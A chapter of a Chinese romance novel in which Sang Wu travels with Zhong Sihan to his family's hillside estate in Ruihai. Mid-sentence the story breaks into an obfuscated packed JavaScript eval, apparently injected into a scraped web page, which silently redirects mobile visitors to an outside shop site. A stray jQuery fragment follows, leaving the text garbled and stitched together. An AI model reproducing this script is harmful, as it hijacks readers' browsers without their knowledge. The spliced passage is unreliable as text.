第十三章
出发前一晚,赵叔将桑芜接到了浅海湾,美其名曰方便第二天一起出行。
她第一反应就觉得这个理由很牵强,但因为这段时间自己也经常在浅海湾出没,所以也是熟门熟路,便应承下来。
搬行李上车的时候,赵叔看着那箱行李,不禁感慨:“桑小姐,这箱行李还有些分量……”
刚刚看她从屋里拎出来,还挺轻松的样子,下意识以为她没带什么东西,结果自己搬的时候还差点闪到腰。
“不好意思啊赵叔,刚刚忘记提醒你了。”
她平时经常搬着大大小小的东西进出,习惯了,所以对自己的行李的重量并没有一个清晰认知。
说完,又连忙看了一眼一本正经端坐在后座的男人,确认他在忙自己的时候,没有分心给这边,就暗暗舒了一口气。
毕竟自己可不想现在就露出什么马脚。
她这小动作,仲司砚当然感受到了。这段时间,他已经清楚地知道对方心虚会是什么样子。
但他并不打算点破。
车子一路平稳驶离南桥镇,直到城郊才隐隐见着一些城市光景。
因白昼越来越短,将将下午六点,天就已经黑得差不多了,高耸的楼从各个窗户格子透出或暖或冷的光亮。
桑芜累了一整天,光是包装那些个要带去瑞海的物品就整整弄了一下午,冗长车流的主干道上,车子停停走走,她自然就靠在椅背睡了过去。
其实这样睡觉很难受,但她却睡得很香,不一会儿脑袋就开始东倒西歪,眼看就要撞到车窗时,旁边的人眼疾手快地揽过她,让她在自己的肩上找到支撑。
感受到肩头的重量,他却蓦然觉得有一颗安心石在自己心上落地,心间也倏地被填满了。
她披散着头发,那张小巧精致的脸此刻被掉落的长发隐匿了大半,在轻微摇晃的车身中,她的发尾调皮地拨弄着他的手背。
弄得人一阵痒意。
说实话,仲司砚其实还有一点紧张,哪怕是确认她已经睡着了,可当她柔软地靠向自己,他就忍不住让自己僵住。
再也忍不住时,他抬手将她的头发挽到耳后,阻止作乱的发,也借着晦暗不明的灯光细细看着她的睡颜。
她的长相柔和,下巴也不是过分的尖,惯常就是用那张巧嘴装精明,要是一时不慎,还真的会被她唬住。
他可不就被她一句一个先生老板您,弄得心力交瘁。
赵叔对于这场景肯定是喜闻乐见的,后半程把车子开得更稳了,几人硬生生将两个小时车程拖到了三个小时。
桑芜再醒过来已经是后半夜,满脑子都只有自己口渴,自然也不会在意自己是怎么来的房间。
她迷迷糊糊地爬起来只借着点夜光灯的光,想去找口水喝。
“嘶——”
走到拐角处,不慎撞了一下,她下意识揉了揉小腿,但因祸得福人的意识清醒了不少。
恒温出水器二十四小时运作着,所以哪怕是现在,也能喝到暖暖的温水。
“咕咚咕咚”解决完生理欲望,她随手放下杯子转身欲走,却撞上了一道坚实的身影。
她心里一震,想着肯定不会是什么歹徒,也没有多担心,只抬眼细细看清来人。
她回想自己刚刚起床并没有弄出多大声响,便如是问道:“你也醒啦?”
醒了?
仲司砚自然知道她睡得很好,低声闷笑着,从喉咙深处挤出一个回答,“嗯,”而后补了一句,“也来找水喝。”
后面这句话带着玩笑的意味,奈何有人神志并未完全回笼。
“哦。”她一本正经地应着,转身又随手拿起放在台面上的杯子给他倒了一杯水,递给他,“喝吧。”
她压根没意识到刚刚自己也是用那个杯子喝的水,可接过水的人却已经开始心猿意马。
细细看着手中的杯子,像是要看穿她刚刚留下的唇印一般。
他道了声谢,眼神间笑意分明,一边喝水,一边定定地看着她。
她自然是感受到了这灼热的目光,明白了他透露出来的意思后,只觉得自己的脸上发热。
她是真的不知道自己刚刚怎么能那么顺手就用自己用过的杯子倒水给别人。
他不会以为自己故意的吧?
“我……”她想解释什么,却又觉得怎么解释都无力,“我刚刚不清醒,一下忘记了。”
桑芜觉得自己的天都塌了,反倒是他一副泰然自若的样子,在笑中挤出一句话,“可以,只要没有传染病菌,都能用。”
这句打趣更是让她羞愧,说到底都怪自己的习惯太随便。
她匆匆拿过杯子,放在水龙头底下用水冲了一下,才说,“我……我去休息了。你也早点睡,晚安。”
看着那道神似落荒而逃的背影,仲司砚眉心微动,目光久久都没从她离开的方向离开,转而才由心地扯出一抹笑。
今天晚上,他因为明日要回瑞海一直都没有睡意,他这当然不是近乡情怯,他只是觉得有点不可思议。
直到此刻,他才觉得这不可思议有了实感。
桑芜回到房间,心悸不断,靠在门上连连安抚自己狂跳的心,可这心跳能平复,温度能下降,眼睛却再也合不上了。
她怕不是刚刚喝的不是水,而是什么咖啡因爆表的饮料,此刻她就像打了鸡血一样兴奋。
无能狂怒时,她给吴筱念连发了几个“啊啊啊”,表示自己狂躁的心情。
谁知道已经深夜三点,吴筱念竟然立马回复了她:???
吴筱念:你怎么了?明天不是要出差吗?
桑芜:你怎么还没睡?
两人同时发出消息。
一个谎需要无数谎圆。
桑芜正想着怎么措辞的时候,吴筱念的信息又进来了:大人忙的事情,小孩子不要问哦~
后面还跟了一个奸笑的表情包。
她也不傻,自然明白吴筱念的意思,赏给她一串省略号,就跟她说了再见。
怎么,今晚所有人都不想让自己睡个好觉是吗?
直到天将泛白,她才合上沉重的眼皮,再醒来时,发现被子已经离家出家,自己浑身冰凉。
瑞海与宁港也算隔海相望,直飞的航班不少,大约一个小时就能到。
瑞海机场虽不算大,但人流拥挤,有来旅游的,但更多的应该是转机的。
两人差点被挤散的时候,仲司砚伸手隔着厚重的衣物拉住了她的手腕,放慢了步子。
桑芜知道他是为了不和自己走散,但还是愣怔了一会儿。
她觉得,最近两人的身体接触越来越多的。有意的,无意的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305397|151668||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
——
由不得她再发散思维,一个说着不标准的普通话的司机来接他们,年纪看着不大,却很主动做事,将他们的行李放上车后,还自觉地开着车门,而后一路无话。
瑞海多的是高耸入云的摩天大楼,楼旁有摇晃波浪的海湾,繁华的街道中人头攒动,喧嚣与忙碌交织在一起。
要说这唯一宁静的地方,当属平香山北坡了,而仲家老宅坐就落在平香北坡山腰。
与宁港的多山不同,平香山是瑞海唯一一座山,海拔也才四五百米,山腰零散坐落着几幢别墅,临近山顶的地方,却有一栋三十二层的公寓大厦,说是住了许多名人。
车子盘旋着山路而上,道路一旁是无尽的绿植,另一旁则是整个瑞海市与金海港湾。
在山间的柏油路上大概行驶了二十分钟,车子就停了下来,她抬眼看出去,这马路中间竟然还设有关卡,岗亭值班人员过来核实身份,才得以放行。
桑芜只在网上搜索过瑞海仲家一些片面的信息,只知道仲家是从七十年前搬来瑞海的,靠着仲老爷子独特而前卫的眼光,跟随国家政策的浪潮,创办了一家实业公司,并快速抢占了市场。
从那时开始便是风头无俩。
但网上的文字终究是没有实感,但桑芜在车子再次停下时,开始感受到了仲家人的实力。
且不说能盘山而居,还能将这地儿用得跟自家一样,实力便不容小觑。
见到值守人员再次做出放行手势,车子才得以继续前进。
她小心翼翼地看了身侧的人一眼,见仲司砚在休息,也就没跟他说什么。
她觉得他心也蛮大的,一路上竟然也没跟自己说要注意些什么,反而是悠然自得。
心中腹诽完,对方就像是听见了一样,乍然开口,“别想太多,马上就到了。”
“我没想太多,”她也如实说,“但你……真的就没有什么要交代的吗?”
扯谎这种事啊,桑芜着实没什么经验,最多只是在谈合作的时候夸大其词而已。
但也只是微不足道的谈判技巧!
“嗯,”他看出了她的顾虑,“你做你自己就可以,其他的交给我。”
仲司砚说得认真,她也勉强将心放下了。
车子停下第三次时,她已经见怪不怪了,反倒还饶有兴致地听他们说着瑞海话。
瑞海话九转十八音,听起来抑扬顿挫的,而且也有种莫名将人的声音变好听的功能。
来接他们的司机跟他们说话时,总有种莫名的喜感,但说起瑞海话,就正经多了。
不过桑芜听不懂瑞海话,她是土生土长的湖城人,求学也在湖城,只是后来去到宁港学艺,勉强能说几句宁港话,或者是带着宁港口音说普通话。
她微微挪动自己的屁股,让自己坐在了车后座的中间,而后向前靠,想向司机小哥讨教几句瑞海话。
她自然是不懂车子即将迎来一个大转弯,所以她还未开口,整个身上带来的冲击力就将她推进了仲司砚的怀里。
她的侧脸贴在他的胸前,双手也下意识向下找支撑点,最终撑在了他的腿上,鼻尖全是如雪后银针的清冽气息。
怦怦怦——
心不受控地敲着鼓点,发出躁动的声音。
可她有点分不清,这是仲司砚的心跳声,还是自己的。